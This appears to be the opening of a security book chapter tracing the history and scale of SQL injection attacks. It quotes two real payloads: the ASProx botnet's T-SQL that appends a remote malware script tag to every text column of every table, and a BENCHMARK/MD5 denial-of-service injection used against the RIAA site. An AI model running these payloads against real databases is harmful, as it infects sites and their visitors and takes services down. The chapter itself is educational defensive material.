Information in this Chapter
Structured Query Language (SQL) injection attacks have evolved immensely over the last 10 years even though the underlying vulnerability that leads to SQL injection remains the same. In 1999, an SQL-based attack enabled arbitrary commands to be executed on systems running Microsoft's Internet Information Server (IIS) version 3 or 4. (To put 1999 in perspective, this was when The Matrix and The Blair Witch Project were first released.) The attack was discovered and automated via a Perl script by a hacker named Rain Forest Puppy (http://downloads.securityfocus.com/vulnerabilities/exploits/msadc.pl). Over a decade later, SQL injection attacks still execute arbitrary commands on the host's operating system, steal millions of credit cards, and wreak havoc against Web sites. The state of the art in exploitation has improved on simple Perl scripts to become part of Open Source exploit frameworks such as Metasploit (www.metasploit.com/) and automated components of botnets.
Botnets, compromised computers controllable by a central command, have been used to launch denial of service (DoS) attacks, click fraud and in a burst of male-volent creativity, using SQL injection to infect Web sites with cross-site scripting (XSS) or malware payloads. (Check out Chapter 1, “Cross-Site Scripting,” and Chapter 7, “Web of Distrust,” for background on XSS and malware.) If you have a basic familiarity with SQL injection, then you might mistakenly imagine that injection attacks are limited to the misuse of the single-quote character (') or some fancy SQL statements using a UNION. Check out the following SQL statement, which was used by the ASProx botnet in 2008 and 2009 to attack thousands of Web sites. One resource for more information on ASProx is at http://isc.sans.org/diary.html?storyid=5092.
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET
['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''script src=http://site/egg.js/script''') FETCH NEXT FROM
Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
The preceding code wasn't used verbatim for SQL injection attacks. It was quite cleverly encoded so that it appeared as a long string of hexadecimal characters preceded by a few cleartext SQL characters like DECLARE%20@T%20VARCHARS… For now, don't worry about the obfuscation of SQL; we'll cover that later in the Section, “Breaking Naive Defenses.”
SQL injection attacks do not always attempt to manipulate the database or gain access to the underlying operating system. DoS attacks aim to reduce a site's availability for legitimate users. One way to use SQL to create a DoS attack against a site is to find inefficient queries. A full table scan is a type of inefficient query. Different tables within a Web site's database can contain millions if not billions of entries. Much care is taken to craft narrow SQL statements that need only to examine particular slices of that data. Such optimized queries can mean the difference between a statement that takes a few seconds to execute or a few milliseconds. Such an attack applied against a database is just a subset of a more general class of resource consumption attacks.
Searches that use wildcards or that fail to limit a result set may be exploited to create a DoS attack. One query that takes a second to execute is not particularly devastating, but an attacker can trivially automate the request to overwhelm the site's database.
There have been active resource consumption attacks against databases. In January 2008, a group of attackers discovered SQL injection vulnerability on a Web site owned by the Recording Industry Association of America (RIAA). The vulnerability could be leveraged to execute millions of CPU-intensive MD5 functions within the database. The attackers posted the link and encouraged others to click on it in protest of RIAA's litigious stance on file sharing (www.reddit.com/comments/660oo/this_link_runs_a_slooow_sql_query_on_the_riaas). The SQL exploit was quite simple, as shown in the following example. By using 77 characters, they succeeded in knocking down a Web site. In other words, simple attacks work.
BENCHMARK(100000000,MD5('asdf')),NULL,NULL,NULL,NULL --
In 2007 and 2008, hackers used SQL injection attacks to load malware on the internal systems of several companies that in the end compromised millions of credit-card numbers, possibly as many as 100 million numbers (www.wired.com/threatlevel/2009/08/tjx-hacker-charged-with-heartland/). In October 2008, the Federal Bureau of Investigation (FBI) shut down a major Web site used for carding (selling credit-card data) and other criminal activity after a two-year investigation in which an agent infiltrated the group to such a degree that the carders' Web site was briefly hosted, and monitored, on government computers. The FBI claimed to have prevented over $70 million in potential losses (www.fbi.gov/page2/oct08/darkmarket_102008.html). The grand scale of SQL injection compromises provides strong motivation for attackers to seek out and exploit these vulnerabilities. This scale is also evidenced by the global coordination of credit card and bank account fraud. On November 8, 2008, criminals turned a network hack against a bank into a scheme where dozens of lackeys used cloned ATM cards to pull over $9 million from machines in 49 cities around the world within a 30-minute time window (www.networkworld.com/community/node/38366). Information, especially credit card and bank data, has great value to criminals.